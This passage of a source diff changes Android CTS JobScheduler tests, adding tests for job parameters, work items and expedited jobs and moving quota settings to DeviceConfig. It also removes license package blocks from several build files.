+                u, JobInfo.TriggerContentUri.FLAG_NOTIFY_FOR_DESCENDANTS);
+        assertEquals(u, tcu.getUri());
+        assertEquals(JobInfo.TriggerContentUri.FLAG_NOTIFY_FOR_DESCENDANTS, tcu.getFlags());
+        JobInfo ji = new JobInfo.Builder(JOB_ID, kJobServiceComponent)
+                .addTriggerContentUri(tcu)
+                .build();
+        assertEquals(1, ji.getTriggerContentUris().length);
+        assertEquals(tcu, ji.getTriggerContentUris()[0]);
+        // Confirm JobScheduler accepts the JobInfo object.
+        mJobScheduler.schedule(ji);
+
+        final Uri u2 = Uri.parse("content://" + ContactsContract.AUTHORITY + "/");
+        final JobInfo.TriggerContentUri tcu2 = new JobInfo.TriggerContentUri(u2, 0);
+        assertEquals(u2, tcu2.getUri());
+        assertEquals(0, tcu2.getFlags());
+        ji = new JobInfo.Builder(JOB_ID, kJobServiceComponent)
+                .addTriggerContentUri(tcu)
+                .addTriggerContentUri(tcu2)
+                .build();
+        assertEquals(2, ji.getTriggerContentUris().length);
+        assertEquals(tcu, ji.getTriggerContentUris()[0]);
+        assertEquals(tcu2, ji.getTriggerContentUris()[1]);
+        // Confirm JobScheduler accepts the JobInfo object.
+        mJobScheduler.schedule(ji);
+    }
+
+    private void assertBuildFails(String message, JobInfo.Builder builder) {
+        try {
+            builder.build();
+            fail(message);
+        } catch (IllegalArgumentException e) {
+            // Expected
+        }
+    }
+}
diff --git a/tests/JobScheduler/src/android/jobscheduler/cts/JobParametersTest.java b/tests/JobScheduler/src/android/jobscheduler/cts/JobParametersTest.java
new file mode 100644
index 0000000..bd0653b
--- /dev/null
+++ b/tests/JobScheduler/src/android/jobscheduler/cts/JobParametersTest.java
@@ -0,0 +1,131 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.jobscheduler.cts;
+
+import static android.net.ConnectivityDiagnosticsManager.persistableBundleEquals;
+
+import android.app.job.JobInfo;
+import android.app.job.JobParameters;
+import android.content.ClipData;
+import android.content.Intent;
+import android.os.Bundle;
+import android.os.PersistableBundle;
+
+/**
+ * Tests related to JobParameters objects.
+ */
+public class JobParametersTest extends BaseJobSchedulerTest {
+    private static final int JOB_ID = JobParametersTest.class.hashCode();
+
+    public void testClipData() throws Exception {
+        final ClipData clipData = ClipData.newPlainText("test", "testText");
+        final int grantFlags = Intent.FLAG_GRANT_READ_URI_PERMISSION;
+        JobInfo ji = new JobInfo.Builder(JOB_ID, kJobServiceComponent)
+                .setClipData(clipData, grantFlags)
+                .build();
+
+        kTestEnvironment.setExpectedExecutions(1);
+        mJobScheduler.schedule(ji);
+        runSatisfiedJob(JOB_ID);
+        assertTrue("Job didn't fire immediately", kTestEnvironment.awaitExecution());
+
+        JobParameters params = kTestEnvironment.getLastJobParameters();
+        assertEquals(clipData.getItemCount(), params.getClipData().getItemCount());
+        assertEquals(clipData.getItemAt(0).getText(), params.getClipData().getItemAt(0).getText());
+        assertEquals(grantFlags, params.getClipGrantFlags());
+    }
+
+    public void testExtras() throws Exception {
+        final PersistableBundle pb = new PersistableBundle();
+        pb.putInt("random_key", 42);
+        JobInfo ji = new JobInfo.Builder(JOB_ID, kJobServiceComponent)
+                .setExtras(pb)
+                .build();
+
+        kTestEnvironment.setExpectedExecutions(1);
+        mJobScheduler.schedule(ji);
+        runSatisfiedJob(JOB_ID);
+        assertTrue("Job didn't fire immediately", kTestEnvironment.awaitExecution());
+
+        JobParameters params = kTestEnvironment.getLastJobParameters();
+        assertTrue(persistableBundleEquals(pb, params.getExtras()));
+    }
+
+    public void testExpedited() throws Exception {
+        JobInfo ji = new JobInfo.Builder(JOB_ID, kJobServiceComponent)
+                .setExpedited(true)
+                .build();
+
+        kTestEnvironment.setExpectedExecutions(1);
+        mJobScheduler.schedule(ji);
+        runSatisfiedJob(JOB_ID);
+        assertTrue("Job didn't fire immediately", kTestEnvironment.awaitExecution());
+
+        JobParameters params = kTestEnvironment.getLastJobParameters();
+        assertTrue(params.isExpeditedJob());
+
+        ji = new JobInfo.Builder(JOB_ID, kJobServiceComponent)
+                .setExpedited(false)
+                .build();
+
+        kTestEnvironment.setExpectedExecutions(1);
+        mJobScheduler.schedule(ji);
+        runSatisfiedJob(JOB_ID);
+        assertTrue("Job didn't fire immediately", kTestEnvironment.awaitExecution());
+
+        params = kTestEnvironment.getLastJobParameters();
+        assertFalse(params.isExpeditedJob());
+    }
+
+    public void testJobId() throws Exception {
+        JobInfo ji = new JobInfo.Builder(JOB_ID, kJobServiceComponent)
+                .build();
+
+        kTestEnvironment.setExpectedExecutions(1);
+        mJobScheduler.schedule(ji);
+        runSatisfiedJob(JOB_ID);
+        assertTrue("Job didn't fire immediately", kTestEnvironment.awaitExecution());
+
+        JobParameters params = kTestEnvironment.getLastJobParameters();
+        assertEquals(JOB_ID, params.getJobId());
+    }
+
+    // JobParameters.getNetwork() tested in ConnectivityConstraintTest.
+
+    public void testTransientExtras() throws Exception {
+        final Bundle b = new Bundle();
+        b.putBoolean("random_bool", true);
+        JobInfo ji = new JobInfo.Builder(JOB_ID, kJobServiceComponent)
+                .setTransientExtras(b)
+                .build();
+
+        kTestEnvironment.setExpectedExecutions(1);
+        mJobScheduler.schedule(ji);
+        runSatisfiedJob(JOB_ID);
+        assertTrue("Job didn't fire immediately", kTestEnvironment.awaitExecution());
+
+        JobParameters params = kTestEnvironment.getLastJobParameters();
+        assertEquals(b.size(), params.getTransientExtras().size());
+        for (String key : b.keySet()) {
+            assertEquals(b.get(key), params.getTransientExtras().get(key));
+        }
+    }
+
+    // JobParameters.getTriggeredContentAuthorities() tested in TriggerContentTest.
+    // JobParameters.getTriggeredContentUris() tested in TriggerContentTest.
+    // JobParameters.isOverrideDeadlineExpired() tested in TimingConstraintTest.
+}
diff --git a/tests/JobScheduler/src/android/jobscheduler/cts/JobSchedulingTest.java b/tests/JobScheduler/src/android/jobscheduler/cts/JobSchedulingTest.java
index 44a1f62..05d78de 100644
--- a/tests/JobScheduler/src/android/jobscheduler/cts/JobSchedulingTest.java
+++ b/tests/JobScheduler/src/android/jobscheduler/cts/JobSchedulingTest.java
@@ -19,7 +19,7 @@
 import android.annotation.TargetApi;
 import android.app.job.JobInfo;
 import android.app.job.JobScheduler;
-import android.provider.Settings;
+import android.provider.DeviceConfig;
 
 import com.android.compatibility.common.util.SystemUtil;
 
@@ -31,20 +31,9 @@
     private static final int MIN_SCHEDULE_QUOTA = 250;
     private static final int JOB_ID = JobSchedulingTest.class.hashCode();
 
-    private String originalJobSchedulerConstants;
-
-    @Override
-    public void setUp() throws Exception {
-        super.setUp();
-        originalJobSchedulerConstants = Settings.Global.getString(getContext().getContentResolver(),
-                Settings.Global.JOB_SCHEDULER_CONSTANTS);
-    }
-
     @Override
     public void tearDown() throws Exception {
         mJobScheduler.cancel(JOB_ID);
-        Settings.Global.putString(getContext().getContentResolver(),
-                Settings.Global.JOB_SCHEDULER_CONSTANTS, originalJobSchedulerConstants);
         SystemUtil.runShellCommand(getInstrumentation(), "cmd jobscheduler reset-schedule-quota");
 
         // The super method should be called at the end.
@@ -70,10 +59,14 @@
      * Test that scheduling fails once an app hits the schedule quota limit.
      */
     public void testFailingScheduleOnQuotaExceeded() {
-        Settings.Global.putString(getContext().getContentResolver(),
-                Settings.Global.JOB_SCHEDULER_CONSTANTS,
-                "enable_api_quotas=true,aq_schedule_count=300,aq_schedule_window_ms=300000,"
-                        + "aq_schedule_throw_exception=false,aq_schedule_return_failure=true");
+        mDeviceConfigStateHelper.set(
+                new DeviceConfig.Properties.Builder(DeviceConfig.NAMESPACE_JOB_SCHEDULER)
+                .setBoolean("enable_api_quotas", true)
+                .setInt("aq_schedule_count", 300)
+                .setLong("aq_schedule_window_ms", 300000)
+                .setBoolean("aq_schedule_throw_exception", false)
+                .setBoolean("aq_schedule_return_failure", true)
+                .build());
 
         JobInfo jobInfo = new JobInfo.Builder(JOB_ID, kJobServiceComponent)
                 .setMinimumLatency(60 * 60 * 1000L)
@@ -92,10 +85,14 @@
      * Test that scheduling succeeds even after an app hits the schedule quota limit.
      */
     public void testContinuingScheduleOnQuotaExceeded() {
-        Settings.Global.putString(getContext().getContentResolver(),
-                Settings.Global.JOB_SCHEDULER_CONSTANTS,
-                "enable_api_quotas=true,aq_schedule_count=300,aq_schedule_window_ms=300000,"
-                        + "aq_schedule_throw_exception=false,aq_schedule_return_failure=false");
+        mDeviceConfigStateHelper.set(
+                new DeviceConfig.Properties.Builder(DeviceConfig.NAMESPACE_JOB_SCHEDULER)
+                        .setBoolean("enable_api_quotas", true)
+                        .setInt("aq_schedule_count", 300)
+                        .setLong("aq_schedule_window_ms", 300000)
+                        .setBoolean("aq_schedule_throw_exception", false)
+                        .setBoolean("aq_schedule_return_failure", false)
+                        .build());
 
         JobInfo jobInfo = new JobInfo.Builder(JOB_ID, kJobServiceComponent)
                 .setMinimumLatency(60 * 60 * 1000L)
@@ -112,10 +109,14 @@
      * Test that non-persisted jobs aren't limited by quota.
      */
     public void testNonPersistedJobsNotLimited() {
-        Settings.Global.putString(getContext().getContentResolver(),
-                Settings.Global.JOB_SCHEDULER_CONSTANTS,
-                "enable_api_quotas=true,aq_schedule_count=300,aq_schedule_window_ms=60000,"
-                        + "aq_schedule_throw_exception=false,aq_schedule_return_failure=true");
+        mDeviceConfigStateHelper.set(
+                new DeviceConfig.Properties.Builder(DeviceConfig.NAMESPACE_JOB_SCHEDULER)
+                .setBoolean("enable_api_quotas", true)
+                .setInt("aq_schedule_count", 300)
+                .setLong("aq_schedule_window_ms", 60000)
+                .setBoolean("aq_schedule_throw_exception", false)
+                .setBoolean("aq_schedule_return_failure", true)
+                .build());
 
         JobInfo jobInfo = new JobInfo.Builder(JOB_ID, kJobServiceComponent)
                 .setMinimumLatency(60 * 60 * 1000L)
diff --git a/tests/JobScheduler/src/android/jobscheduler/cts/JobThrottlingTest.java b/tests/JobScheduler/src/android/jobscheduler/cts/JobThrottlingTest.java
index 548128c..fb08e6d 100644
--- a/tests/JobScheduler/src/android/jobscheduler/cts/JobThrottlingTest.java
+++ b/tests/JobScheduler/src/android/jobscheduler/cts/JobThrottlingTest.java
@@ -41,6 +41,7 @@
 import android.os.Temperature;
 import android.os.UserHandle;
 import android.platform.test.annotations.RequiresDevice;
+import android.provider.DeviceConfig;
 import android.provider.Settings;
 import android.support.test.uiautomator.UiDevice;
 import android.util.Log;
@@ -52,6 +53,7 @@
 import com.android.compatibility.common.util.AppOpsUtils;
 import com.android.compatibility.common.util.AppStandbyUtils;
 import com.android.compatibility.common.util.BatteryUtils;
+import com.android.compatibility.common.util.DeviceConfigStateHelper;
 import com.android.compatibility.common.util.ThermalUtils;
 
 import junit.framework.AssertionFailedError;
@@ -101,13 +103,13 @@
     /** Track whether WiFi was enabled in case we turn it off. */
     private boolean mInitialWiFiState;
     private boolean mInitialAirplaneModeState;
-    private String mInitialJobSchedulerConstants;
     private String mInitialDisplayTimeout;
     private String mInitialRestrictedBucketEnabled;
     private boolean mAutomotiveDevice;
     private boolean mLeanbackOnly;
 
     private TestAppInterface mTestAppInterface;
+    private DeviceConfigStateHelper mDeviceConfigStateHelper;
 
     private final BroadcastReceiver mReceiver = new BroadcastReceiver() {
         @Override
@@ -157,13 +159,14 @@
         mHasWifi = mContext.getPackageManager().hasSystemFeature(PackageManager.FEATURE_WIFI);
         mInitialWiFiState = mWifiManager.isWifiEnabled();
         mInitialAirplaneModeState = isAirplaneModeOn();
-        mInitialJobSchedulerConstants = Settings.Global.getString(mContext.getContentResolver(),
-                Settings.Global.JOB_SCHEDULER_CONSTANTS);
         mInitialRestrictedBucketEnabled = Settings.Global.getString(mContext.getContentResolver(),
                 Settings.Global.ENABLE_RESTRICTED_BUCKET);
         // Make sure test jobs can run regardless of bucket.
-        Settings.Global.putString(mContext.getContentResolver(),
-                Settings.Global.JOB_SCHEDULER_CONSTANTS, "min_ready_non_active_jobs_count=0");
+        mDeviceConfigStateHelper =
+                new DeviceConfigStateHelper(DeviceConfig.NAMESPACE_JOB_SCHEDULER);
+        mDeviceConfigStateHelper.set(
+                new DeviceConfig.Properties.Builder(DeviceConfig.NAMESPACE_JOB_SCHEDULER)
+                        .setInt("min_ready_non_active_jobs_count", 0).build());
         // Make sure the screen doesn't turn off when the test turns it on.
         mInitialDisplayTimeout =
                 Settings.System.getString(mContext.getContentResolver(), SCREEN_OFF_TIMEOUT);
@@ -281,7 +284,7 @@
         setAirplaneMode(false);
         setWifiState(true, mCm, mWifiManager);
         assumeTrue("device idle not enabled", mDeviceIdleEnabled);
-        mTestAppInterface.scheduleJob(false, true);
+        mTestAppInterface.scheduleJob(false, true, false);
         runJob();
         assertTrue("Job did not start after scheduling",
                 mTestAppInterface.awaitJobStart(DEFAULT_WAIT_TIMEOUT));
@@ -305,9 +308,7 @@
         setRestrictedBucketEnabled(true);
 
         // Disable coalescing
-        Settings.Global.putString(mContext.getContentResolver(),
-                Settings.Global.JOB_SCHEDULER_QUOTA_CONTROLLER_CONSTANTS,
-                "timing_session_coalescing_duration_ms=0");
+        mDeviceConfigStateHelper.set("qc_timing_session_coalescing_duration_ms", "0");
 
         setScreenState(true);
 
@@ -332,9 +333,8 @@
         setRestrictedBucketEnabled(true);
 
         // Disable coalescing and the parole session
-        Settings.Global.putString(mContext.getContentResolver(),
-                Settings.Global.JOB_SCHEDULER_QUOTA_CONTROLLER_CONSTANTS,
-                "timing_session_coalescing_duration_ms=0,max_session_count_restricted=0");
+        mDeviceConfigStateHelper.set("qc_timing_session_coalescing_duration_ms", "0");
+        mDeviceConfigStateHelper.set("qc_max_session_count_restricted", "0");
 
         setAirplaneMode(true);
         setScreenState(true);
@@ -374,9 +374,8 @@
         setRestrictedBucketEnabled(true);
 
         // Disable coalescing and the parole session
-        Settings.Global.putString(mContext.getContentResolver(),
-                Settings.Global.JOB_SCHEDULER_QUOTA_CONTROLLER_CONSTANTS,
-                "timing_session_coalescing_duration_ms=0,max_session_count_restricted=0");
+        mDeviceConfigStateHelper.set("qc_timing_session_coalescing_duration_ms", "0");
+        mDeviceConfigStateHelper.set("qc_max_session_count_restricted", "0");
 
         setAirplaneMode(true);
         setScreenState(true);
@@ -384,7 +383,7 @@
         BatteryUtils.runDumpsysBatteryUnplug();
         setTestPackageStandbyBucket(Bucket.RESTRICTED);
         Thread.sleep(DEFAULT_WAIT_TIMEOUT);
-        mTestAppInterface.scheduleJob(false, true);
+        mTestAppInterface.scheduleJob(false, true, false);
         runJob();
         assertFalse("New job started in RESTRICTED bucket", mTestAppInterface.awaitJobStart(3_000));
 
@@ -480,7 +479,7 @@
         BatteryUtils.enableBatterySaver(true);
         tempWhitelistTestApp(6_000);
         sendScheduleJobBroadcast(false);
-        assertTrue("New job in uid-active app failed to start with battery saver OFF",
+        assertTrue("New job in uid-active app failed to start with battery saver ON",
                 mTestAppInterface.awaitJobStart(3_000));
     }
 
@@ -505,6 +504,63 @@
                 mTestAppInterface.awaitJobStart(120_000));
     }
 
+
+    @Test
+    public void testExpeditedJobBypassesBatterySaverOn() throws Exception {
+        assumeFalse("not testable in automotive device", mAutomotiveDevice);
+        assumeFalse("not testable in leanback device", mLeanbackOnly);
+
+        BatteryUtils.assumeBatterySaverFeature();
+
+        BatteryUtils.runDumpsysBatteryUnplug();
+        BatteryUtils.enableBatterySaver(true);
+        mTestAppInterface.scheduleJob(false, false, true);
+        assertTrue("New expedited job failed to start with battery saver ON",
+                mTestAppInterface.awaitJobStart(DEFAULT_WAIT_TIMEOUT));
+    }
+
+    @Test
+    public void testExpeditedJobBypassesBatterySaver_toggling() throws Exception {
+        assumeFalse("not testable in automotive device", mAutomotiveDevice);
+        assumeFalse("not testable in leanback device", mLeanbackOnly);
+
+        BatteryUtils.assumeBatterySaverFeature();
+
+        BatteryUtils.runDumpsysBatteryUnplug();
+        BatteryUtils.enableBatterySaver(false);
+        mTestAppInterface.scheduleJob(false, false, true);
+        assertTrue("New expedited job failed to start with battery saver ON",
+                mTestAppInterface.awaitJobStart(DEFAULT_WAIT_TIMEOUT));
+        BatteryUtils.enableBatterySaver(true);
+        assertFalse("Job stopped when battery saver turned on",
+                mTestAppInterface.awaitJobStop(DEFAULT_WAIT_TIMEOUT));
+    }
+
+    @Test
+    public void testExpeditedJobBypassesDeviceIdle() throws Exception {
+        assumeTrue("device idle not enabled", mDeviceIdleEnabled);
+
+        toggleDeviceIdleState(true);
+        mTestAppInterface.scheduleJob(false, false, true);
+        runJob();
+        assertTrue("Job did not start after scheduling",
+                mTestAppInterface.awaitJobStart(DEFAULT_WAIT_TIMEOUT));
+    }
+
+    @Test
+    public void testExpeditedJobBypassesDeviceIdle_toggling() throws Exception {
+        assumeTrue("device idle not enabled", mDeviceIdleEnabled);
+
+        toggleDeviceIdleState(false);
+        mTestAppInterface.scheduleJob(false, false, true);
+        runJob();
+        assertTrue("Job did not start after scheduling",
+                mTestAppInterface.awaitJobStart(DEFAULT_WAIT_TIMEOUT));
+        toggleDeviceIdleState(true);
+        assertFalse("Job stopped when device enabled turned on",
+                mTestAppInterface.awaitJobStop(DEFAULT_WAIT_TIMEOUT));
+    }
+
     @After
     public void tearDown() throws Exception {
         AppOpsUtils.reset(TEST_APP_PACKAGE);
@@ -514,7 +570,6 @@
             toggleDeviceIdleState(false);
         }
         mTestAppInterface.cleanup();
-        BatteryUtils.runDumpsysBatterySaverOff();
         BatteryUtils.runDumpsysBatteryReset();
         BatteryUtils.enableBatterySaver(false);
         removeTestAppFromTempWhitelist();
@@ -528,8 +583,7 @@
                 Log.e(TAG, "Failed to return wifi state to " + mInitialWiFiState, e);
             }
         }
-        Settings.Global.putString(mContext.getContentResolver(),
-                Settings.Global.JOB_SCHEDULER_CONSTANTS, mInitialJobSchedulerConstants);
+        mDeviceConfigStateHelper.restoreOriginalValues();
         Settings.Global.putString(mContext.getContentResolver(),
                 Settings.Global.ENABLE_RESTRICTED_BUCKET, mInitialRestrictedBucketEnabled);
         if (isAirplaneModeOn() != mInitialAirplaneModeState) {
@@ -564,7 +618,7 @@
     }
 
     private void sendScheduleJobBroadcast(boolean allowWhileIdle) throws Exception {
-        mTestAppInterface.scheduleJob(allowWhileIdle, false);
+        mTestAppInterface.scheduleJob(allowWhileIdle, false, false);
     }
 
     private void toggleDeviceIdleState(final boolean idle) throws Exception {
@@ -625,6 +679,7 @@
     private void setScreenState(boolean on) throws Exception {
         if (on) {
             mUiDevice.executeShellCommand("input keyevent KEYCODE_WAKEUP");
+            mUiDevice.executeShellCommand("wm dismiss-keyguard");
         } else {
             mUiDevice.executeShellCommand("input keyevent KEYCODE_SLEEP");
         }
diff --git a/tests/JobScheduler/src/android/jobscheduler/cts/JobWorkItemTest.java b/tests/JobScheduler/src/android/jobscheduler/cts/JobWorkItemTest.java
new file mode 100644
index 0000000..e05969e
--- /dev/null
+++ b/tests/JobScheduler/src/android/jobscheduler/cts/JobWorkItemTest.java
@@ -0,0 +1,73 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.jobscheduler.cts;
+
+import android.app.job.JobInfo;
+import android.app.job.JobWorkItem;
+import android.content.Intent;
+import android.jobscheduler.MockJobService;
+
+import java.util.List;
+
+/**
+ * Tests related to created and reading JobWorkItem objects.
+ */
+public class JobWorkItemTest extends BaseJobSchedulerTest {
+    private static final int JOB_ID = JobWorkItemTest.class.hashCode();
+    private static final Intent TEST_INTENT = new Intent("some.random.action");
+
+    public void testIntentOnlyItem() {
+        JobWorkItem jwi = new JobWorkItem(TEST_INTENT);
+
+        assertEquals(TEST_INTENT, jwi.getIntent());
+        assertEquals(JobInfo.NETWORK_BYTES_UNKNOWN, jwi.getEstimatedNetworkDownloadBytes());
+        assertEquals(JobInfo.NETWORK_BYTES_UNKNOWN, jwi.getEstimatedNetworkUploadBytes());
+        // JobWorkItem hasn't been scheduled yet. Delivery count should be 0.
+        assertEquals(0, jwi.getDeliveryCount());
+    }
+
+    public void testItemWithEstimatedBytes() {
+        JobWorkItem jwi = new JobWorkItem(TEST_INTENT, 10, 20);
+
+        assertEquals(TEST_INTENT, jwi.getIntent());
+        assertEquals(10, jwi.getEstimatedNetworkDownloadBytes());
+        assertEquals(20, jwi.getEstimatedNetworkUploadBytes());
+        // JobWorkItem hasn't been scheduled yet. Delivery count should be 0.
+        assertEquals(0, jwi.getDeliveryCount());
+    }
+
+    public void testDeliveryCountBumped() throws Exception {
+        JobInfo jobInfo = new JobInfo.Builder(JOB_ID, kJobServiceComponent)
+                .setOverrideDeadline(0)
+                .build();
+        JobWorkItem jwi = new JobWorkItem(TEST_INTENT, 10, 20);
+        // JobWorkItem hasn't been scheduled yet. Delivery count should be 0.
+        assertEquals(0, jwi.getDeliveryCount());
+
+        kTestEnvironment.setExpectedExecutions(1);
+        kTestEnvironment.setExpectedWork(new MockJobService.TestWorkItem[]{
+                new MockJobService.TestWorkItem(TEST_INTENT)});
+        kTestEnvironment.readyToWork();
+        mJobScheduler.enqueue(jobInfo, jwi);
+        runSatisfiedJob(JOB_ID);
+        assertTrue("Job didn't fire immediately", kTestEnvironment.awaitExecution());
+
+        List<JobWorkItem> executedJWIs = kTestEnvironment.getLastReceivedWork();
+        assertEquals(1, executedJWIs.size());
+        assertEquals(1, executedJWIs.get(0).getDeliveryCount());
+    }
+}
diff --git a/tests/JobScheduler/src/android/jobscheduler/cts/StorageConstraintTest.java b/tests/JobScheduler/src/android/jobscheduler/cts/StorageConstraintTest.java
index 8c211cf..3ff1e8e 100644
--- a/tests/JobScheduler/src/android/jobscheduler/cts/StorageConstraintTest.java
+++ b/tests/JobScheduler/src/android/jobscheduler/cts/StorageConstraintTest.java
@@ -69,7 +69,7 @@
      * Schedule a job that requires the device storage is not low, when it is actually not low.
      */
     public void testNotLowConstraintExecutes() throws Exception {
-        setStorageState(false);
+        setStorageStateLow(false);
 
         kTestEnvironment.setExpectedExecutions(1);
         kTestEnvironment.setExpectedWaitForRun();
@@ -89,7 +89,7 @@
      * Schedule a job that requires the device storage is not low, when it actually is low.
      */
     public void testNotLowConstraintFails() throws Exception {
-        setStorageState(true);
+        setStorageStateLow(true);
 
         kTestEnvironment.setExpectedExecutions(0);
         kTestEnvironment.setExpectedWaitForRun();
@@ -104,7 +104,7 @@
         // And for good measure, ensure the job runs once storage is okay.
         kTestEnvironment.setExpectedExecutions(1);
         kTestEnvironment.setExpectedWaitForRun();
-        setStorageState(false);
+        setStorageStateLow(false);
         assertJobReady();
         kTestEnvironment.readyToRun();
         assertTrue("Job with storage not low constraint did not fire when storage not low.",
@@ -115,7 +115,7 @@
      * Test that a job that requires the device storage is not low is stopped when it becomes low.
      */
     public void testJobStoppedWhenStorageLow() throws Exception {
-        setStorageState(false);
+        setStorageStateLow(false);
 
         kTestEnvironment.setExpectedExecutions(1);
         kTestEnvironment.setContinueAfterStart();
@@ -128,7 +128,7 @@
         assertTrue("Job with storage not low constraint did not fire when storage not low.",
                 kTestEnvironment.awaitExecution());
 
-        setStorageState(true);
+        setStorageStateLow(true);
         assertTrue("Job with storage not low constraint was not stopped when storage became low.",
                 kTestEnvironment.awaitStopped());
     }
diff --git a/tests/JobScheduler/src/android/jobscheduler/cts/TestAppInterface.java b/tests/JobScheduler/src/android/jobscheduler/cts/TestAppInterface.java
index d871a2b..7e2e05e 100644
--- a/tests/JobScheduler/src/android/jobscheduler/cts/TestAppInterface.java
+++ b/tests/JobScheduler/src/android/jobscheduler/cts/TestAppInterface.java
@@ -68,12 +68,13 @@
         mTestJobStatus.reset();
     }
 
-    void scheduleJob(boolean allowWhileIdle, boolean needNetwork) {
+    void scheduleJob(boolean allowWhileIdle, boolean needNetwork, boolean asExpeditedJob) {
         final Intent scheduleJobIntent = new Intent(TestJobSchedulerReceiver.ACTION_SCHEDULE_JOB);
         scheduleJobIntent.addFlags(Intent.FLAG_RECEIVER_FOREGROUND);
         scheduleJobIntent.putExtra(TestJobSchedulerReceiver.EXTRA_JOB_ID_KEY, mJobId);
         scheduleJobIntent.putExtra(TestJobSchedulerReceiver.EXTRA_ALLOW_IN_IDLE, allowWhileIdle);
         scheduleJobIntent.putExtra(TestJobSchedulerReceiver.EXTRA_REQUIRE_NETWORK_ANY, needNetwork);
+        scheduleJobIntent.putExtra(TestJobSchedulerReceiver.EXTRA_AS_EXPEDITED, asExpeditedJob);
         scheduleJobIntent.setComponent(new ComponentName(TEST_APP_PACKAGE, TEST_APP_RECEIVER));
         mContext.sendBroadcast(scheduleJobIntent);
     }
diff --git a/tests/JobScheduler/src/android/jobscheduler/cts/TimingConstraintsTest.java b/tests/JobScheduler/src/android/jobscheduler/cts/TimingConstraintsTest.java
index d088502..b45808d 100644
--- a/tests/JobScheduler/src/android/jobscheduler/cts/TimingConstraintsTest.java
+++ b/tests/JobScheduler/src/android/jobscheduler/cts/TimingConstraintsTest.java
@@ -106,11 +106,12 @@
      * {@link JobParameters#isOverrideDeadlineExpired()} returns the correct value.
      */
     public void testJobParameters_expiredDeadline() throws Exception {
-        // It is expected that the "device idle" constraint will *not* be met
+        // Make sure the storage constraint is *not* met
         // for the duration of the override deadline.
+        setStorageStateLow(true);
         JobInfo deadlineJob =
                 new JobInfo.Builder(EXPIRED_JOB_ID, kJobServiceComponent)
-                        .setRequiresDeviceIdle(true)
+                        .setRequiresStorageNotLow(true)
                         .setOverrideDeadline(2000L)
                         .build();
         kTestEnvironment.setExpectedExecutions(1);
@@ -132,10 +133,10 @@
                         .setRequiresStorageNotLow(true)
                         .build();
         kTestEnvironment.setExpectedExecutions(1);
-        setStorageState(true);
+        setStorageStateLow(true);
         mJobScheduler.schedule(deadlineJob);
         // Run everything by making storage state not-low.
-        setStorageState(false);
+        setStorageStateLow(false);
         assertTrue("Failed to execute non-deadline job", kTestEnvironment.awaitExecution());
         assertFalse("Job that ran early (unexpired) didn't have" +
                         " JobParameters#isOverrideDeadlineExpired=false",
diff --git a/tests/JobSchedulerSharedUid/Android.bp b/tests/JobSchedulerSharedUid/Android.bp
index ee30d75..b08b072 100644
--- a/tests/JobSchedulerSharedUid/Android.bp
+++ b/tests/JobSchedulerSharedUid/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test {
     name: "CtsJobSchedulerSharedUidTestCases",
     defaults: ["cts_defaults"],
diff --git a/tests/JobSchedulerSharedUid/JobSharedUidTestApp/Android.bp b/tests/JobSchedulerSharedUid/JobSharedUidTestApp/Android.bp
index 252a6bb..a849c0a 100644
--- a/tests/JobSchedulerSharedUid/JobSharedUidTestApp/Android.bp
+++ b/tests/JobSchedulerSharedUid/JobSharedUidTestApp/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test_helper_app {
     name: "CtsJobSharedUidTestApp",
     defaults: ["cts_defaults"],
diff --git a/tests/JobSchedulerSharedUid/TEST_MAPPING b/tests/JobSchedulerSharedUid/TEST_MAPPING
new file mode 100644
index 0000000..90ff197
--- /dev/null
+++ b/tests/JobSchedulerSharedUid/TEST_MAPPING
@@ -0,0 +1,7 @@
+{
+  "presubmit": [
+    {
+      "name": "CtsJobSchedulerSharedUidTestCases"
+    }
+  ]
+}
diff --git a/tests/JobSchedulerSharedUid/jobperm/Android.bp b/tests/JobSchedulerSharedUid/jobperm/Android.bp
index 8b497bf..1032247 100644
--- a/tests/JobSchedulerSharedUid/jobperm/Android.bp
+++ b/tests/JobSchedulerSharedUid/jobperm/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test_helper_app {
     name: "CtsJobSchedulerJobPerm",
     defaults: ["cts_defaults"],
diff --git a/tests/JobSchedulerSharedUid/shareduid/Android.bp b/tests/JobSchedulerSharedUid/shareduid/Android.bp
index 8ea69f0..b3a23dc 100644
--- a/tests/JobSchedulerSharedUid/shareduid/Android.bp
+++ b/tests/JobSchedulerSharedUid/shareduid/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test_helper_app {
     name: "CtsJobSchedulerSharedUid",
     defaults: ["cts_defaults"],
diff --git a/tests/ProcessTest/Android.bp b/tests/ProcessTest/Android.bp
index a0c7de5..81e1efe 100644
--- a/tests/ProcessTest/Android.bp
+++ b/tests/ProcessTest/Android.bp
@@ -13,10 +13,6 @@
 // limitations under the License.
 
 // TODO: should it be android_helper_test_app?
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test {
     name: "ProcessTests",
     defaults: ["cts_defaults"],
